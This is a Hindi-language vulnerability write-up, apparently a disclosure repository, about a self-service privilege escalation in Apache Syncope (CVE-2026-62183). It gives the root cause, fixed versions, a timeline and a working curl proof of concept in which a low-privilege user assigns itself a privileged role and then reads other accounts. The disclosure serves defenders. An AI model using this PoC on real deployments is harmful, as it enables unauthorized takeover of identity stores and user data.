
Apache Syncope: उपयोगकर्ता स्व-सेवा विशेषाधिकार वृद्धि
Apache Syncope में Improper Privilege Management (CWE-269)। एक प्रमाणित, निम्न-विशेषाधिकार वाला उपयोगकर्ता user self-service API के माध्यम से स्वयं को मनमाने roles (और group memberships, external resources तथा एक नया realm) प्रदान कर सकता है — ऐसे ऑपरेशन जिनके लिए हर अन्य कोड पथ पर प्रशासनिक entitlements की आवश्यकता होती है — और इस तरह identity store का प्रशासक बन सकता है।
यह रिपॉज़िटरी इस भेद्यता का तकनीकी संदर्भ है: मूल कारण, एक runtime-confirmed proof of concept और reproduction नोट्स। इसे कैसे खोजा गया, इसका वर्णनात्मक विवरण अलग से उपलब्ध है (देखें Write-up)।
| CVE | CVE-2026-62183 |
| विक्रेता / उत्पाद | Apache Software Foundation — Apache Syncope |
| प्रभावित पैकेज | org.apache.syncope.core:syncope-core-workflow-java |
| वर्ग | CWE-269 Improper Privilege Management (तंत्र: CWE-862 Missing Authorization) |
| गंभीरता | Important (ASF PMC) · CVSS 3.1 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| प्रभावित संस्करण | 3.0.0-M0 → 3.0.16 · 4.0.0-M0 → 4.0.6 · 4.1.0-M0 → 4.1.1 |
| फिक्स संस्करण | 4.0.7 / 4.1.2 (SYNCOPE-1983) · 3.0.x EOL है, कोई फिक्स नहीं |
| पुष्टि की गई | 3.0.16 (स्टैंडअलोन डिस्ट्रीब्यूशन, JDK 17), डोमेन Master |
Apache Syncope का user self-service update endpoint, PATCH /users/self/{key}, केवल isAuthenticated() की माँग करता है। साझा logic परत "self" ऑपरेशनों के लिए authorization जाँच को छोड़ देती है, जबकि data binder अभी भी विशेषाधिकार-युक्त request फ़ील्ड्स (roles, memberships, resources, auxClasses, realm) लागू करता है। परिणाम एक सीधा-सादा privilege escalation है: एक निम्न-विशेषाधिकार वाला उपयोगकर्ता स्वयं को एक विशेषाधिकार-युक्त role प्रदान करता है और तुरंत उसकी entitlements प्राप्त कर लेता है — जिसमें, पर्याप्त शक्तिशाली role के साथ, सभी उपयोगकर्ताओं का पूर्ण प्रशासन शामिल है। जहाँ self-registration सक्षम है, वहाँ यही दोष doCreate पर भी लागू होता है, इसलिए एक अनप्रमाणित हमलावर पहले से विशेषाधिकार-युक्त खाता पंजीकृत कर सकता है।
यह भेद्यता तब लागू होती है जब निम्नलिखित में से कोई एक user workflow adapter कॉन्फ़िगर किया गया हो (vendor advisory इसे इसी दायरे में सीमित करता है):
प्रोडक्शन में, self-service सामान्यतः Enduser UI के माध्यम से संचालित होता है, जो role असाइनमेंट को उजागर नहीं करता; इस तक पहुँचने के लिए Core REST API का निम्न-विशेषाधिकार वाले उपयोगकर्ता द्वारा कॉल करने योग्य होना आवश्यक है। नीचे दिया गया runtime PoC Standalone Distribution का उपयोग करता है, जिसे Apache केवल मूल्यांकन-हेतु प्रलेखित करता है और जो seed data (उपयोगकर्ता bellini, अंतर्निहित roles User manager / User reviewer) के साथ आता है — यह seed data सामान्य डिप्लॉयमेंट में मौजूद नहीं होता। ये वास्तविक-विश्व शोषण-क्षमता पर ईमानदार सीमाएँ हैं, दोष की सत्यता पर नहीं।
PATCH /users/self/{key} के लिए अनुरोध-प्रवाह:
UserSelfService.update(UserUR) common/.../rest/api/service/UserSelfService.java @PATCH @Path("users/self/{key}")
→ UserSelfLogic.update(...) core/idrepo/logic/.../UserSelfLogic.java
→ AbstractUserLogic.doUpdate(..., self=true)
→ UserDataBinderImpl.update(...) core/provisioning-java/.../data/UserDataBinderImpl.java
1. Endpoint केवल "क्या कोई लॉग इन है?" का प्राधिकरण करता है — UserSelfLogic.update:
@PreAuthorize("isAuthenticated() "
+ "and not(hasRole('" + IdRepoEntitlement.ANONYMOUS + "')) "
+ "and not(hasRole('" + IdRepoEntitlement.MUST_CHANGE_PASSWORD + "'))")
public ProvisioningResult<UserTO> update(final UserUR userUR, final boolean nullPriorityAsync) {
...
ProvisioningResult<UserTO> updated = doUpdate(userUR, true, nullPriorityAsync); // self = true
कोई entitlement (न USER_UPDATE, न role/realm scope) आवश्यक नहीं है।
2. self ऑपरेशनों के लिए authorization जाँच छोड़ दी जाती है — AbstractUserLogic.doUpdate:
protected ProvisioningResult<UserTO> doUpdate(final UserUR userReq, final boolean self, ...) {
...
if (!self) { // self == true: the whole block is skipped
Set<String> authRealms = RealmUtils.getEffective(
AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.USER_UPDATE), ...);
userDAO.securityChecks(authRealms, before.getKey(), before.getRealm(), groups);
}
...
}
3. Binder फिर भी विशेषाधिकार-युक्त फ़ील्ड्स लागू करता है — UserDataBinderImpl.update(...) role ADD/DELETE, memberships(...) (groups) और fill(...) (resources / realm) को सीधे request से लागू करता है, बिना किसी caller-विशेषाधिकार जाँच के — यह जाँच Logic परत में होनी चाहिए, जिसे चरण 2 छोड़ देता है। admin पथ (UserLogic.update, @PreAuthorize("hasRole('USER_UPDATE')"), doUpdate(..., false, ...)) securityChecks को अवश्य चलाता है; self पथ नहीं चलाता।
वर्धित role प्रमाणीकरण के समय प्रभावी होता है: AuthDataAccessor.getUserAuthorities(user) userDAO.findAllRoles(user) को traverse करता है और प्रत्येक role की entitlements को एकत्र करता है, इसलिए self-assigned role उपयोगकर्ता के अगले request/login पर सक्रिय हो जाता है। वही if (!self) छूट doCreate में भी मौजूद है, जो दोष को self-registration तक विस्तारित करती है।
संक्षेप में: दोनों परतों ने यह मान लिया कि दूसरी परत विशेषाधिकार जाँच लागू करेगी। Endpoint ने authorization Logic परत को सौंप दिया; Logic परत ने इसे self के लिए छोड़ दिया; binder ने Logic परत पर भरोसा किया कि उसने फ़ील्ड्स पर gate-keeping कर दी होगी।
एक सामान्य प्रमाणित उपयोगकर्ता, जिसके पास कोई role नहीं है, स्वयं को अंतर्निहित विशेषाधिकार-युक्त role User manager (जो / पर USER_READ प्रदान करता है) सौंपता है और फिर किसी भी खाते को पढ़ता है। कोई admin कार्रवाई नहीं, कोई विशेष कॉन्फ़िगरेशन नहीं। पूर्ण स्क्रिप्ट: poc.sh।
B=http://localhost:9080/syncope/rest
H='-H X-Syncope-Domain:Master -H Accept:application/json -H Content-Type:application/json'
# (setup, admin) create a plain user with NO roles → returns entity.key = $K2
curl -s -u admin:password $H -X POST "$B/users" -d '{"_class":"org.apache.syncope.common.lib.request.UserCR",
"realm":"/","username":"eviluser2","password":"Password123!","mustChangePassword":false,
"plainAttrs":[{"schema":"fullname","values":["E2"]},{"schema":"surname","values":["Two"]},
{"schema":"userId","values":["[email protected]"]}]}'
AUTH="-u eviluser2:Password123!"
# [1] baseline — eviluser2 cannot read another account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 403
# [2] THE BUG — eviluser2 self-assigns the existing privileged role "User manager":
curl -s $AUTH $H -X PATCH "$B/users/self/$K2" -d '{"_class":"org.apache.syncope.common.lib.request.UserUR",
"key":"'"$K2"'","roles":[{"operation":"ADD_REPLACE","value":"User manager"}]}' \
-w '%{http_code}\n' # -> 200 ; entity.roles=["User manager"]
# [3] escalated — eviluser2 now reads any account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 200
अवलोकित परिणाम: [1] 403 → [2] 200 (roles अब ["User manager"]) → [3] 200। असाइनमेंट बना रहता है (उपयोगकर्ता के admin दृश्य के माध्यम से पुष्टि की गई)। इसी request आकार से memberships (groups), resources (बाहरी सिस्टम पर provisioning ट्रिगर करते हुए) और एक नया realm भी self-assign किया जा सकता है।
PoC जानबूझकर केवल वैध, प्रलेखित API कॉल का उपयोग करके authorization अंतराल को प्रदर्शित करता है। यह एक न्यूनतम प्रमाण है, कोई weaponized exploit नहीं — देखें Responsible use।
no-Docker, no-Maven runtime सेटअप (स्टैंडअलोन Tomcat + Temurin JDK 17) और readiness जाँचों के लिए BUILD.md देखें, फिर:
B=http://localhost:9080/syncope/rest ./poc.sh
कोई भी प्रमाणित उपयोगकर्ता — जिसमें सबसे निम्न-विशेषाधिकार वाला self-service खाता भी शामिल है — स्वयं को किसी भी परिभाषित role की entitlements प्रदान कर सकता है। ऐसे role के साथ जिसमें व्यापक USER_* / admin entitlements हों, यह identity store का अधिग्रहण है: सभी उपयोगकर्ताओं को पढ़ना/संशोधित करना/हटाना, साथ ही resources / memberships के माध्यम से जुड़े बाहरी सिस्टम पर खाता provisioning। जहाँ self-registration सक्षम है, वहाँ एक अनप्रमाणित हमलावर सीधे विशेषाधिकार-युक्त स्थिति में पंजीकृत हो सकता है (PR:N, CVSS 9.8)। प्राप्त होने वाली ठोस entitlements लक्ष्य डिप्लॉयमेंट में वास्तव में परिभाषित roles पर निर्भर करती हैं।
4.0.7 / 4.1.2 में SYNCOPE-1983 ("Requiring admin approval for self changes beyond attributes") के अंतर्गत फिक्स किया गया। UserCR / UserUR में एक requiresApproval() predicate जोड़ा गया (जो तब true होता है जब request roles, memberships, groups, resources, relationships, linked accounts या user/group managers को छूती है), और workflow adapters ऐसे self-requests को सीधे लागू करने के बजाय admin अनुमोदन से गुज़ारते हैं। 3.0.x end-of-life है और इसे फिक्स नहीं मिलेगा — प्रभावित 3.0.x उपयोगकर्ताओं को किसी समर्थित ब्रांच में अपग्रेड करना होगा।
| तिथि (2026) | घटना |
|---|---|
| Jun 28 | root-cause विश्लेषण और runtime PoC के साथ [email protected] को निजी रूप से रिपोर्ट किया गया |
| Jul 13 | Apache Syncope PMC ने पुष्टि की; CVE-2026-62183 आरक्षित; गंभीरता important आँकी गई |
| Jul 20 | फिक्स जारी किए गए (4.0.7 / 4.1.2); vendor advisory और CVE रिकॉर्ड प्रकाशित किए गए |
CVE रिकॉर्ड के अनुसार श्रेय प्राप्त खोजकर्ता: Nic Jones (@NicPWNs) और elin kai। यह रिपॉज़िटरी Nic Jones द्वारा योगदान किए गए source-level विश्लेषण और runtime-confirmed PoC का प्रलेखन करती है।
शोध का वर्णनात्मक विवरण — पद्धति, Apache-प्रोजेक्ट ऑडिट जिसने इसे उजागर किया, और इसे runtime-confirmed कैसे किया गया — मेरे ब्लॉग पर है: Self-Service to Admin: A Privilege Escalation in Apache Syncope।
यह सामग्री coordinated disclosure और फिक्स किए गए संस्करणों के जारी होने के बाद रक्षात्मक और शैक्षिक उद्देश्यों के लिए प्रकाशित की गई है। PoC केवल वैध API कॉल का उपयोग करके authorization दोष को प्रदर्शित करता है; यह कोई mass-exploitation उपकरण नहीं है। इसका उपयोग उन सिस्टमों के विरुद्ध न करें जिन्हें परीक्षण करने के लिए आप अधिकृत नहीं हैं। यदि आप Apache Syncope चलाते हैं, तो 4.0.7 / 4.1.2 में अपग्रेड करें (या 3.0.x से बाहर निकलें)।